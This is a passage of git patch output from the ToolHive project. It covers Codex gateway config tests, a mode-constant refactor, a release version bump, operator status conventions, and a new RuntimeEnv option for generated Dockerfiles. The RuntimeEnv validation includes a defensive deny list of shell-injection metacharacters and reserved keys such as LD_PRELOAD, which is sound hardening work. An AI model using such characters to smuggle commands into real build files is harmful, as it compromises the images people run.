~/.codex/config.toml, patched via a + // dedicated TOML writer (auth is a command/args table, not a JSON pointer + // key), so it gets its own assertions rather than the allClientTestCases + // matrix, which only understands JSON. + readCodexConfig := func(configPath string) map[string]any { + data, err := os.ReadFile(configPath) + Expect(err).ToNot(HaveOccurred(), "config.toml should exist") + var config map[string]any + Expect(toml.Unmarshal(data, &config)).To(Succeed()) + return config + } + + It("writes the model_provider and auth command, then reverts them", func() { + issuerURL := fmt.Sprintf("http://localhost:%d", oidcPort) + codexDir := filepath.Join(tempDir, ".codex") + configPath := filepath.Join(codexDir, "config.toml") + + By("creating the .codex directory and codex binary so detection succeeds") + Expect(os.MkdirAll(codexDir, 0750)).To(Succeed()) + Expect(createFakeBinary(binDir, "codex")).To(Succeed()) + + By("running thv llm setup --client codex") + stdout, stderr, err := runSetupWithOIDCCompletion( + thvCmd, oidcServer, + "--client", "codex", + "--gateway-url", gatewayURL, + "--issuer", issuerURL, + "--client-id", clientID, + ) + Expect(err).ToNot(HaveOccurred(), + "setup should succeed; stdout=%q stderr=%q", stdout, stderr) + + By("verifying config.toml contains the toolhive-gateway provider") + config := readCodexConfig(configPath) + Expect(config["model_provider"]).To(Equal("toolhive-gateway")) + providers, ok := config["model_providers"].(map[string]any) + Expect(ok).To(BeTrue(), "model_providers table should exist") + provider, ok := providers["toolhive-gateway"].(map[string]any) + Expect(ok).To(BeTrue(), "model_providers.toolhive-gateway table should exist") + Expect(provider["name"]).To(Equal("ToolHive Gateway")) + Expect(provider["base_url"]).To(Equal(gatewayURL + "/v1")) + Expect(provider["wire_api"]).To(Equal("responses")) + + auth, ok := provider["auth"].(map[string]any) + Expect(ok).To(BeTrue(), "model_providers.toolhive-gateway.auth table should exist") + Expect(auth["command"]).ToNot(BeEmpty(), "auth.command should point at the thv executable") + args, ok := auth["args"].([]any) + Expect(ok).To(BeTrue(), "auth.args should be an array") + Expect(args).To(Equal([]any{"llm", "token", "--skip-browser"})) + + By("verifying config show lists codex in codex-auth mode") + showOut, _ := thvCmd("llm", "config", "show", "--format", "json").ExpectSuccess() + var cfg llm.Config + Expect(json.Unmarshal([]byte(showOut), &cfg)).To(Succeed()) + var found bool + for _, toolCfg := range cfg.ConfiguredTools { + if string(toolCfg.Tool) == "codex" { + found = true + Expect(toolCfg.Mode).To(Equal("codex-auth")) + } + } + Expect(found).To(BeTrue(), "codex should appear in ConfiguredTools") + + By("running thv llm teardown codex") + thvCmd("llm", "teardown", "codex").ExpectSuccess() + + By("verifying model_provider and the toolhive-gateway table were removed") + config = readCodexConfig(configPath) + _, hasModelProvider := config["model_provider"] + Expect(hasModelProvider).To(BeFalse(), "model_provider should be cleared after teardown") + if providers, ok := config["model_providers"].(map[string]any); ok { + _, stillPresent := providers["toolhive-gateway"] + Expect(stillPresent).To(BeFalse(), "toolhive-gateway provider should be removed after teardown") + } + + showOut, _ = thvCmd("llm", "config", "show", "--format", "json").ExpectSuccess() + cfg = llm.Config{} + Expect(json.Unmarshal([]byte(showOut), &cfg)).To(Succeed()) + Expect(cfg.ConfiguredTools).To(BeEmpty(), + "ConfiguredTools should be empty after teardown") + }) + }) + Describe("thv llm token with an expired cached access token", func() { It("does not return the expired token", func() { claudeDir := filepath.Join(tempDir, ".claude") From 76f76bd57bff330c3d73680c34a41523988cdba7 Mon Sep 17 00:00:00 2001 From: Juan Antonio Osorio Date: Tue, 14 Jul 2026 11:38:16 +0300 Subject: [PATCH 40/66] Use llmgateway mode constants for direct/proxy modes (#5790) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The llmgateway package declares ModeDirect/ModeProxy as the single compiler-checked source of truth for gateway mode strings, and its doc comment says they exist "rather than carrying private string copies that can drift." ModeCredentialHelper already followed that; the direct/proxy client registrations and hasProxyMode still hand-typed the literals. Swap the remaining "direct"/"proxy" literals to the constants so a typo becomes a compile error instead of a silently-unmatched mode. Purely mechanical — no behaviour change. Co-authored-by: Claude Opus 4.8 --- pkg/client/config.go | 12 ++++++------ pkg/llm/setup.go | 2 +- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/pkg/client/config.go b/pkg/client/config.go index dfa73b0146..b7ac5a59bd 100644 --- a/pkg/client/config.go +++ b/pkg/client/config.go @@ -414,7 +414,7 @@ var supportedClientIntegrations = []clientAppConfig{ SkillsGlobalPath: []string{".copilot", skillsDirName}, SkillsProjectPath: []string{".github", skillsDirName}, // LLM gateway: patches settings.json (same dir as mcp.json, different file) - LLMGatewayMode: "proxy", + LLMGatewayMode: llmgateway.ModeProxy, LLMBinaryName: "code-insiders", LLMSettingsFile: "settings.json", LLMSettingsRelPath: []string{"Code - Insiders", "User"}, @@ -457,7 +457,7 @@ var supportedClientIntegrations = []clientAppConfig{ SkillsGlobalPath: []string{".copilot", skillsDirName}, SkillsProjectPath: []string{".github", skillsDirName}, // LLM gateway: patches settings.json (same dir as mcp.json, different file) - LLMGatewayMode: "proxy", + LLMGatewayMode: llmgateway.ModeProxy, LLMBinaryName: "code", LLMSettingsFile: "settings.json", LLMSettingsRelPath: []string{"Code", "User"}, @@ -495,7 +495,7 @@ var supportedClientIntegrations = []clientAppConfig{ SkillsGlobalPath: []string{".cursor", skillsDirName}, SkillsProjectPath: []string{".cursor", skillsDirName}, // LLM gateway: patches the editor settings.json (different from the MCP mcp.json) - LLMGatewayMode: "proxy", + LLMGatewayMode: llmgateway.ModeProxy, LLMBinaryName: "cursor", LLMSettingsFile: "settings.json", LLMSettingsRelPath: []string{"Cursor", "User"}, @@ -534,7 +534,7 @@ var supportedClientIntegrations = []clientAppConfig{ PluginsGlobalPath: []string{".claude", "plugins"}, PluginsProjectPath: []string{".claude", "plugins"}, // LLM gateway: patches ~/.claude/settings.json (different from the MCP .claude.json) - LLMGatewayMode: "direct", + LLMGatewayMode: llmgateway.ModeDirect, LLMBinaryName: "claude", LLMSettingsFile: "settings.json", LLMSettingsRelPath: []string{".claude"}, @@ -834,7 +834,7 @@ var supportedClientIntegrations = []clientAppConfig{ // TLS handshake on that leg. Setting the env var would globally disable // TLS verification for all other HTTPS requests the Gemini CLI process // makes, which is an unacceptable side-effect. - LLMGatewayMode: "proxy", + LLMGatewayMode: llmgateway.ModeProxy, LLMBinaryName: "gemini", LLMSettingsFile: "settings.json", LLMSettingsRelPath: []string{".gemini"}, @@ -990,7 +990,7 @@ var supportedClientIntegrations = []clientAppConfig{ ClientType: ClientApp(Xcode), Description: "GitHub Copilot for Xcode", LLMGatewayOnly: true, - LLMGatewayMode: "proxy", + LLMGatewayMode: llmgateway.ModeProxy, // Full path is macOS-specific; on Linux/Windows this directory will not // exist, so DetectedLLMGatewayClients() naturally returns false there. LLMSettingsFile: "editorSettings.json", diff --git a/pkg/llm/setup.go b/pkg/llm/setup.go index fbd7cffd62..48f683a123 100644 --- a/pkg/llm/setup.go +++ b/pkg/llm/setup.go @@ -607,7 +607,7 @@ func rollbackConfiguredTools(errOut io.Writer, gm GatewayManager, configured []T // hasProxyMode reports whether any of the given tool configs uses proxy mode. func hasProxyMode(cfgs []ToolConfig) bool { for _, t := range cfgs { - if t.Mode == "proxy" { + if t.Mode == llmgateway.ModeProxy { return true } } From 75b3ed7660e8d839207faa7208ac53f3ed3e7406 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Tue, 14 Jul 2026 10:54:57 +0200 Subject: [PATCH 41/66] Update anthropics/claude-code-action digest to f1bd27c (#5777) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- .github/workflows/claude.yml | 2 +- .github/workflows/release-notes.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/claude.yml b/.github/workflows/claude.yml index 8fcf2ea1c6..d2ce9b05f1 100644 --- a/.github/workflows/claude.yml +++ b/.github/workflows/claude.yml @@ -59,7 +59,7 @@ jobs: - name: Run Claude Code id: claude - uses: anthropics/claude-code-action@558b1d6cab4085c7753fe402c10bef0fbb92ac7a # v1 + uses: anthropics/claude-code-action@f1bd27ca5b54584506e40e17884d90bdaaa1a9b3 # v1 with: anthropic_api_key: ${{ secrets.ANTHROPIC_API_KEY }} # Security: Restrict tools to prevent arbitrary code execution. diff --git a/.github/workflows/release-notes.yml b/.github/workflows/release-notes.yml index 440d969feb..97d360f854 100644 --- a/.github/workflows/release-notes.yml +++ b/.github/workflows/release-notes.yml @@ -98,7 +98,7 @@ jobs: - name: Generate release notes with Claude id: claude - uses: anthropics/claude-code-action@558b1d6cab4085c7753fe402c10bef0fbb92ac7a # v1 + uses: anthropics/claude-code-action@f1bd27ca5b54584506e40e17884d90bdaaa1a9b3 # v1 env: # gh CLI used by the skill (read-only PR/issue lookups) authenticates # via GH_TOKEN. Read access is sufficient — publishing happens in a From f58dbd596368b7318a650ce81608173878087844 Mon Sep 17 00:00:00 2001 From: "toolhive-release-app[bot]" <280093410+toolhive-release-app[bot]@users.noreply.github.com> Date: Tue, 14 Jul 2026 13:39:55 +0300 Subject: [PATCH 42/66] Release v0.36.0 (#5795) Update release files Release-Triggered-By: JAORMX Co-authored-by: toolhive-release-app[bot] <280093410+toolhive-release-app[bot]@users.noreply.github.com> --- VERSION | 2 +- deploy/charts/operator-crds/Chart.yaml | 4 ++-- deploy/charts/operator-crds/README.md | 2 +- deploy/charts/operator/Chart.yaml | 4 ++-- deploy/charts/operator/README.md | 10 +++++----- deploy/charts/operator/values.yaml | 6 +++--- 6 files changed, 14 insertions(+), 14 deletions(-) diff --git a/VERSION b/VERSION index 7b52f5e517..93d4c1ef06 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -0.35.0 +0.36.0 diff --git a/deploy/charts/operator-crds/Chart.yaml b/deploy/charts/operator-crds/Chart.yaml index 2e7f1908a2..0a2866a436 100644 --- a/deploy/charts/operator-crds/Chart.yaml +++ b/deploy/charts/operator-crds/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: toolhive-operator-crds description: A Helm chart for installing the ToolHive Operator CRDs into Kubernetes. type: application -version: 0.35.0 -appVersion: "v0.35.0" +version: 0.36.0 +appVersion: "v0.36.0" diff --git a/deploy/charts/operator-crds/README.md b/deploy/charts/operator-crds/README.md index 153966a69a..61a759966c 100644 --- a/deploy/charts/operator-crds/README.md +++ b/deploy/charts/operator-crds/README.md @@ -1,6 +1,6 @@ # ToolHive Operator CRDs Helm Chart -![Version: 0.35.0](https://img.shields.io/badge/Version-0.35.0-informational?style=flat-square) +![Version: 0.36.0](https://img.shields.io/badge/Version-0.36.0-informational?style=flat-square) ![Type: application](https://img.shields.io/badge/Type-application-informational?style=flat-square) A Helm chart for installing the ToolHive Operator CRDs into Kubernetes. diff --git a/deploy/charts/operator/Chart.yaml b/deploy/charts/operator/Chart.yaml index d37f7c37bf..9b9425289a 100644 --- a/deploy/charts/operator/Chart.yaml +++ b/deploy/charts/operator/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: toolhive-operator description: A Helm chart for deploying the ToolHive Operator into Kubernetes. type: application -version: 0.35.0 -appVersion: "v0.35.0" +version: 0.36.0 +appVersion: "v0.36.0" diff --git a/deploy/charts/operator/README.md b/deploy/charts/operator/README.md index bd59c20fb2..7afe4696fc 100644 --- a/deploy/charts/operator/README.md +++ b/deploy/charts/operator/README.md @@ -1,6 +1,6 @@ # ToolHive Operator Helm Chart -![Version: 0.35.0](https://img.shields.io/badge/Version-0.35.0-informational?style=flat-square) +![Version: 0.36.0](https://img.shields.io/badge/Version-0.36.0-informational?style=flat-square) ![Type: application](https://img.shields.io/badge/Type-application-informational?style=flat-square) A Helm chart for deploying the ToolHive Operator into Kubernetes. @@ -46,7 +46,7 @@ The command removes all the Kubernetes components associated with the chart and |-----|------|---------|-------------| | fullnameOverride | string | `"toolhive-operator"` | Provide a fully-qualified name override for resources | | nameOverride | string | `""` | Override the name of the chart | -| operator | object | `{"affinity":{},"autoscaling":{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80},"containerSecurityContext":{"allowPrivilegeEscalation":false,"capabilities":{"drop":["ALL"]},"readOnlyRootFilesystem":true,"runAsNonRoot":true,"runAsUser":1000,"seccompProfile":{"type":"RuntimeDefault"}},"defaultImagePullSecrets":[],"defaultRedis":{"addr":"","existingSecret":"","existingSecretKey":""},"env":[],"features":{"experimental":false,"storageVersionMigrator":false},"gc":{"gogc":75,"gomemlimit":"110MiB"},"image":"ghcr.io/stacklok/toolhive/operator:v0.35.0","imagePullPolicy":"IfNotPresent","imagePullSecrets":[],"leaderElectionRole":{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]},"livenessProbe":{"httpGet":{"path":"/healthz","port":"health"},"initialDelaySeconds":15,"periodSeconds":20},"nodeSelector":{},"podAnnotations":{},"podLabels":{},"podSecurityContext":{"runAsNonRoot":true},"ports":[{"containerPort":8080,"name":"metrics","protocol":"TCP"},{"containerPort":8081,"name":"health","protocol":"TCP"}],"proxyHost":"0.0.0.0","rbac":{"allowedNamespaces":[],"scope":"cluster"},"readinessProbe":{"httpGet":{"path":"/readyz","port":"health"},"initialDelaySeconds":5,"periodSeconds":10},"replicaCount":1,"resources":{"limits":{"cpu":"500m","memory":"128Mi"},"requests":{"cpu":"10m","memory":"64Mi"}},"serviceAccount":{"annotations":{},"automountServiceAccountToken":true,"create":true,"labels":{},"name":"toolhive-operator"},"tolerations":[],"toolhiveRunnerImage":"ghcr.io/stacklok/toolhive/proxyrunner:v0.35.0","vmcpImage":"ghcr.io/stacklok/toolhive/vmcp:v0.35.0","volumeMounts":[],"volumes":[]}` | All values for the operator deployment and associated resources | +| operator | object | `{"affinity":{},"autoscaling":{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80},"containerSecurityContext":{"allowPrivilegeEscalation":false,"capabilities":{"drop":["ALL"]},"readOnlyRootFilesystem":true,"runAsNonRoot":true,"runAsUser":1000,"seccompProfile":{"type":"RuntimeDefault"}},"defaultImagePullSecrets":[],"defaultRedis":{"addr":"","existingSecret":"","existingSecretKey":""},"env":[],"features":{"experimental":false,"storageVersionMigrator":false},"gc":{"gogc":75,"gomemlimit":"110MiB"},"image":"ghcr.io/stacklok/toolhive/operator:v0.36.0","imagePullPolicy":"IfNotPresent","imagePullSecrets":[],"leaderElectionRole":{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]},"livenessProbe":{"httpGet":{"path":"/healthz","port":"health"},"initialDelaySeconds":15,"periodSeconds":20},"nodeSelector":{},"podAnnotations":{},"podLabels":{},"podSecurityContext":{"runAsNonRoot":true},"ports":[{"containerPort":8080,"name":"metrics","protocol":"TCP"},{"containerPort":8081,"name":"health","protocol":"TCP"}],"proxyHost":"0.0.0.0","rbac":{"allowedNamespaces":[],"scope":"cluster"},"readinessProbe":{"httpGet":{"path":"/readyz","port":"health"},"initialDelaySeconds":5,"periodSeconds":10},"replicaCount":1,"resources":{"limits":{"cpu":"500m","memory":"128Mi"},"requests":{"cpu":"10m","memory":"64Mi"}},"serviceAccount":{"annotations":{},"automountServiceAccountToken":true,"create":true,"labels":{},"name":"toolhive-operator"},"tolerations":[],"toolhiveRunnerImage":"ghcr.io/stacklok/toolhive/proxyrunner:v0.36.0","vmcpImage":"ghcr.io/stacklok/toolhive/vmcp:v0.36.0","volumeMounts":[],"volumes":[]}` | All values for the operator deployment and associated resources | | operator.affinity | object | `{}` | Affinity settings for the operator pod | | operator.autoscaling | object | `{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80}` | Configuration for horizontal pod autoscaling | | operator.autoscaling.enabled | bool | `false` | Enable autoscaling for the operator | @@ -65,7 +65,7 @@ The command removes all the Kubernetes components associated with the chart and | operator.gc | object | `{"gogc":75,"gomemlimit":"110MiB"}` | Go memory limits and garbage collection percentage for the operator container | | operator.gc.gogc | int | `75` | Go garbage collection percentage for the operator container | | operator.gc.gomemlimit | string | `"110MiB"` | Go memory limits for the operator container | -| operator.image | string | `"ghcr.io/stacklok/toolhive/operator:v0.35.0"` | Container image for the operator | +| operator.image | string | `"ghcr.io/stacklok/toolhive/operator:v0.36.0"` | Container image for the operator | | operator.imagePullPolicy | string | `"IfNotPresent"` | Image pull policy for the operator container | | operator.imagePullSecrets | list | `[]` | List of image pull secrets to use | | operator.leaderElectionRole | object | `{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]}` | Leader election role configuration | @@ -92,8 +92,8 @@ The command removes all the Kubernetes components associated with the chart and | operator.serviceAccount.labels | object | `{}` | Labels to add to the service account | | operator.serviceAccount.name | string | `"toolhive-operator"` | The name of the service account to use. If not set and create is true, a name is generated. | | operator.tolerations | list | `[]` | Tolerations for the operator pod | -| operator.toolhiveRunnerImage | string | `"ghcr.io/stacklok/toolhive/proxyrunner:v0.35.0"` | Image to use for Toolhive runners | -| operator.vmcpImage | string | `"ghcr.io/stacklok/toolhive/vmcp:v0.35.0"` | Image to use for Virtual MCP Server (vMCP) deployments | +| operator.toolhiveRunnerImage | string | `"ghcr.io/stacklok/toolhive/proxyrunner:v0.36.0"` | Image to use for Toolhive runners | +| operator.vmcpImage | string | `"ghcr.io/stacklok/toolhive/vmcp:v0.36.0"` | Image to use for Virtual MCP Server (vMCP) deployments | | operator.volumeMounts | list | `[]` | Additional volume mounts on the operator container | | operator.volumes | list | `[]` | Additional volumes to mount on the operator pod | | registryAPI | object | `{"image":"ghcr.io/stacklok/thv-registry-api:v1.3.0"}` | All values for the registry API deployment and associated resources | diff --git a/deploy/charts/operator/values.yaml b/deploy/charts/operator/values.yaml index baa52db278..e5bd57e59c 100644 --- a/deploy/charts/operator/values.yaml +++ b/deploy/charts/operator/values.yaml @@ -59,15 +59,15 @@ operator: existingSecretKey: "" # -- Container image for the operator - image: ghcr.io/stacklok/toolhive/operator:v0.35.0 + image: ghcr.io/stacklok/toolhive/operator:v0.36.0 # -- Image pull policy for the operator container imagePullPolicy: IfNotPresent # -- Image to use for Toolhive runners - toolhiveRunnerImage: ghcr.io/stacklok/toolhive/proxyrunner:v0.35.0 + toolhiveRunnerImage: ghcr.io/stacklok/toolhive/proxyrunner:v0.36.0 # -- Image to use for Virtual MCP Server (vMCP) deployments - vmcpImage: ghcr.io/stacklok/toolhive/vmcp:v0.35.0 + vmcpImage: ghcr.io/stacklok/toolhive/vmcp:v0.36.0 # -- Host for the proxy deployed by the operator proxyHost: 0.0.0.0 From c3a2da258e78fcfe253d1afee4bf927ed47c9846 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=8D=A0=E6=B0=B8=E6=9D=B0?= Date: Tue, 14 Jul 2026 22:01:24 +0800 Subject: [PATCH 43/66] Document operator phase conventions (#5766) Signed-off-by: buyicoder <169354621+buyicoder@users.noreply.github.com> Co-authored-by: buyicoder <169354621+buyicoder@users.noreply.github.com> Co-authored-by: Alejandro Ponce de Leon --- .claude/rules/operator.md | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/.claude/rules/operator.md b/.claude/rules/operator.md index 9b77092045..138b629c7d 100644 --- a/.claude/rules/operator.md +++ b/.claude/rules/operator.md @@ -318,6 +318,30 @@ write-path mechanics.) See `cmd/thv-operator/DESIGN.md` for detailed decision guidelines. +## Phase and Conditions + +**Conditions** are the primary status mechanism. Each condition represents one +aspect of readiness, validity, or external dependency state, and controllers +should set conditions with specific reason constants and actionable messages. +Use specific condition types such as `ConfigurationValid` or `RemoteAvailable` +when the condition is scoped to one CRD; reserve truly shared types for +cross-CRD conventions. + +**Phase** is a human-readable lifecycle summary for `kubectl get` output. It +must be derived from the current conditions and observed state, never set as an +independent source of truth. + +Rules: + +- Never set `Phase` directly from a separate code path; derive it from the + current condition states. +- `Ready` means all readiness conditions are `True`. +- `Failed` means at least one condition is `False` with a terminal reason. +- `Pending` means required conditions are not all satisfied yet, and no terminal + failure has been observed. +- Condition `Type` names should be specific and have meaningful `Reason` + constants. + ## CRD Type Conventions - Use `metav1.Duration` for duration fields in CRD types, not `string` or From 3a55fad1623ca844f69732f3e68e3537b26b9ab4 Mon Sep 17 00:00:00 2001 From: Dan Barr Date: Tue, 14 Jul 2026 15:12:53 -0400 Subject: [PATCH 44/66] Add runtime-stage environment variables to protocol Dockerfiles (#5801) Dockyard needs to bake environment variables into the running container for packaged MCP servers, not just the build (e.g. Okta's MCP server requires PYTHON_KEYRING_BACKEND at process start so keyring doesn't try to reach a nonexistent OS secret service). The existing BuildEnv only reaches the builder stage. Add RuntimeEnv to RuntimeConfig, validated against Dockerfile injection, and render it into the final stage of uvx/npx/go templates. It threads through the existing BuildFromProtocolSchemeWithName runtimeOverride parameter with no API changes. Co-authored-by: Dan Barr <6922515+danbarr@users.noreply.github.com> Co-authored-by: Claude Sonnet 5 --- docs/server/docs.go | 7 + docs/server/swagger.json | 7 + docs/server/swagger.yaml | 13 ++ pkg/container/templates/go.tmpl | 5 + pkg/container/templates/npx.tmpl | 5 + pkg/container/templates/runtime_config.go | 54 ++++++ .../templates/runtime_config_test.go | 127 ++++++++++++++ pkg/container/templates/templates.go | 7 +- pkg/container/templates/templates_test.go | 152 +++++++++++++++++ pkg/container/templates/uvx.tmpl | 5 + pkg/runner/protocol.go | 15 ++ pkg/runner/protocol_test.go | 158 +++++++++++++++--- 12 files changed, 529 insertions(+), 26 deletions(-) diff --git a/docs/server/docs.go b/docs/server/docs.go index 51848ecb47..fbb1f033ab 100644 --- a/docs/server/docs.go +++ b/docs/server/docs.go @@ -1041,6 +1041,13 @@ const docTemplate = `{ "builder_image": { "description": "BuilderImage is the full image reference for the builder stage.\nAn empty string signals \"use the default for this transport type\" during config merging.\nExamples: \"golang:1.26-alpine\", \"node:24-alpine\", \"python:3.14-slim\"", "type": "string" + }, + "runtime_env": { + "additionalProperties": { + "type": "string" + }, + "description": "RuntimeEnv contains environment variables to inject into the Dockerfile's\nfinal runtime stage. Unlike BuildEnv (pkg/container/templates.TemplateData.BuildEnv),\nwhich only affects the builder stage, these variables are baked into the\nshipped image and are present in the running container's process\nenvironment at startup. Use this for values a packaged MCP server reads at\nprocess start (e.g. feature flags, cache backend selection), not for\nbuild-time package manager configuration.\nKeys must be uppercase with underscores, values are validated for safety.", + "type": "object" } }, "type": "object" diff --git a/docs/server/swagger.json b/docs/server/swagger.json index e8086d0d87..c565baeca4 100644 --- a/docs/server/swagger.json +++ b/docs/server/swagger.json @@ -1034,6 +1034,13 @@ "builder_image": { "description": "BuilderImage is the full image reference for the builder stage.\nAn empty string signals \"use the default for this transport type\" during config merging.\nExamples: \"golang:1.26-alpine\", \"node:24-alpine\", \"python:3.14-slim\"", "type": "string" + }, + "runtime_env": { + "additionalProperties": { + "type": "string" + }, + "description": "RuntimeEnv contains environment variables to inject into the Dockerfile's\nfinal runtime stage. Unlike BuildEnv (pkg/container/templates.TemplateData.BuildEnv),\nwhich only affects the builder stage, these variables are baked into the\nshipped image and are present in the running container's process\nenvironment at startup. Use this for values a packaged MCP server reads at\nprocess start (e.g. feature flags, cache backend selection), not for\nbuild-time package manager configuration.\nKeys must be uppercase with underscores, values are validated for safety.", + "type": "object" } }, "type": "object" diff --git a/docs/server/swagger.yaml b/docs/server/swagger.yaml index cc1db03417..06399987d0 100644 --- a/docs/server/swagger.yaml +++ b/docs/server/swagger.yaml @@ -1102,6 +1102,19 @@ components: An empty string signals "use the default for this transport type" during config merging. Examples: "golang:1.26-alpine", "node:24-alpine", "python:3.14-slim" type: string + runtime_env: + additionalProperties: + type: string + description: |- + RuntimeEnv contains environment variables to inject into the Dockerfile's + final runtime stage. Unlike BuildEnv (pkg/container/templates.TemplateData.BuildEnv), + which only affects the builder stage, these variables are baked into the + shipped image and are present in the running container's process + environment at startup. Use this for values a packaged MCP server reads at + process start (e.g. feature flags, cache backend selection), not for + build-time package manager configuration. + Keys must be uppercase with underscores, values are validated for safety. + type: object type: object github_com_stacklok_toolhive_pkg_core.Workload: properties: diff --git a/pkg/container/templates/go.tmpl b/pkg/container/templates/go.tmpl index ce62e632ce..c6590ccac2 100644 --- a/pkg/container/templates/go.tmpl +++ b/pkg/container/templates/go.tmpl @@ -76,6 +76,11 @@ RUN package="{{.MCPPackage}}"; \ # Final stage - minimal runtime image FROM index.docker.io/library/alpine:3.23@sha256:5b10f432ef3da1b8d4c7eb6c487f2f5a8f096bc91145e68878dd4a5019afde11 +{{if .RuntimeConfig.RuntimeEnv}} +# Custom runtime environment variables +{{range $key, $value := .RuntimeConfig.RuntimeEnv}}ENV {{$key}}="{{$value}}" +{{end}} +{{end}} {{if .CACertContent}} # Add custom CA certificate for runtime COPY ca-cert.crt /tmp/custom-ca.crt diff --git a/pkg/container/templates/npx.tmpl b/pkg/container/templates/npx.tmpl index 3725b66c7e..06247e55a8 100644 --- a/pkg/container/templates/npx.tmpl +++ b/pkg/container/templates/npx.tmpl @@ -63,6 +63,11 @@ RUN npm install --save {{.MCPPackage}} # Final stage - runtime image with pre-installed packages FROM {{.RuntimeConfig.BuilderImage}} +{{if .RuntimeConfig.RuntimeEnv}} +# Custom runtime environment variables +{{range $key, $value := .RuntimeConfig.RuntimeEnv}}ENV {{$key}}="{{$value}}" +{{end}} +{{end}} {{if .CACertContent}} # Add custom CA certificate for runtime COPY ca-cert.crt /tmp/custom-ca.crt diff --git a/pkg/container/templates/runtime_config.go b/pkg/container/templates/runtime_config.go index f8b32b44fb..4a71c800ed 100644 --- a/pkg/container/templates/runtime_config.go +++ b/pkg/container/templates/runtime_config.go @@ -20,6 +20,27 @@ const maxPackageNameLength = 128 // dots, underscores, plus signs, or hyphens. var packageNamePattern = regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9._+\-]*$`) +// envKeyPattern matches valid environment variable names for RuntimeEnv. +// Must start with an uppercase letter, followed by uppercase letters, numbers, or underscores. +var envKeyPattern = regexp.MustCompile(`^[A-Z][A-Z0-9_]*$`) + +// reservedRuntimeEnvKeys lists environment variable names that RuntimeEnv must +// not override, either because the generated Dockerfile sets them itself +// (e.g. PATH) or because overriding them could destabilize the runtime image. +var reservedRuntimeEnvKeys = map[string]bool{ + "PATH": true, "HOME": true, "USER": true, "SHELL": true, "PWD": true, + "HOSTNAME": true, "TERM": true, "LANG": true, "LC_ALL": true, + "LD_PRELOAD": true, "LD_LIBRARY_PATH": true, +} + +// runtimeEnvDangerousValuePatterns lists substrings that must not appear in a +// RuntimeEnv value. Values are interpolated verbatim into a Dockerfile ENV +// line (ENV KEY="value") with no shell-escaping, so these characters could +// break out of the quoted value and inject arbitrary Dockerfile/shell content. +var runtimeEnvDangerousValuePatterns = []string{ + "`", "$(", "${", "\\", "\n", "\r", "\"", ";", "&&", "||", "|", ">", "<", +} + // RuntimeConfig defines the base images and versions for a specific runtime type RuntimeConfig struct { // BuilderImage is the full image reference for the builder stage. @@ -32,6 +53,16 @@ type RuntimeConfig struct { // Examples for Alpine: ["git", "make", "gcc"] // Examples for Debian: ["git", "build-essential"] AdditionalPackages []string `json:"additional_packages,omitempty" yaml:"additional_packages,omitempty"` + + // RuntimeEnv contains environment variables to inject into the Dockerfile's + // final runtime stage. Unlike BuildEnv (pkg/container/templates.TemplateData.BuildEnv), + // which only affects the builder stage, these variables are baked into the + // shipped image and are present in the running container's process + // environment at startup. Use this for values a packaged MCP server reads at + // process start (e.g. feature flags, cache backend selection), not for + // build-time package manager configuration. + // Keys must be uppercase with underscores, values are validated for safety. + RuntimeEnv map[string]string `json:"runtime_env,omitempty" yaml:"runtime_env,omitempty"` } // Validate checks that all RuntimeConfig fields contain safe values that cannot @@ -69,6 +100,29 @@ func (rc *RuntimeConfig) Validate() error { } } + // Validate each RuntimeEnv entry to ensure keys and values are safe to + // interpolate into a Dockerfile ENV instruction. + for key, value := range rc.RuntimeEnv { + if !envKeyPattern.MatchString(key) { + errs = append(errs, fmt.Errorf( + "invalid runtime env key %q: must match %s", key, envKeyPattern.String(), + )) + continue + } + if reservedRuntimeEnvKeys[key] { + errs = append(errs, fmt.Errorf("runtime env key %q is reserved and cannot be overridden", key)) + continue + } + for _, pattern := range runtimeEnvDangerousValuePatterns { + if strings.Contains(value, pattern) { + errs = append(errs, fmt.Errorf( + "runtime env value for key %q contains potentially dangerous characters: %q", key, pattern, + )) + break + } + } + } + return errors.Join(errs...) } diff --git a/pkg/container/templates/runtime_config_test.go b/pkg/container/templates/runtime_config_test.go index 5e69ffc0d7..7f29640870 100644 --- a/pkg/container/templates/runtime_config_test.go +++ b/pkg/container/templates/runtime_config_test.go @@ -330,3 +330,130 @@ func TestRuntimeConfigValidate_DefaultConfigsAreValid(t *testing.T) { }) } } + +func TestRuntimeConfigValidate_ValidRuntimeEnv(t *testing.T) { + t.Parallel() + + tests := []struct { + key string + value string + }{ + {key: 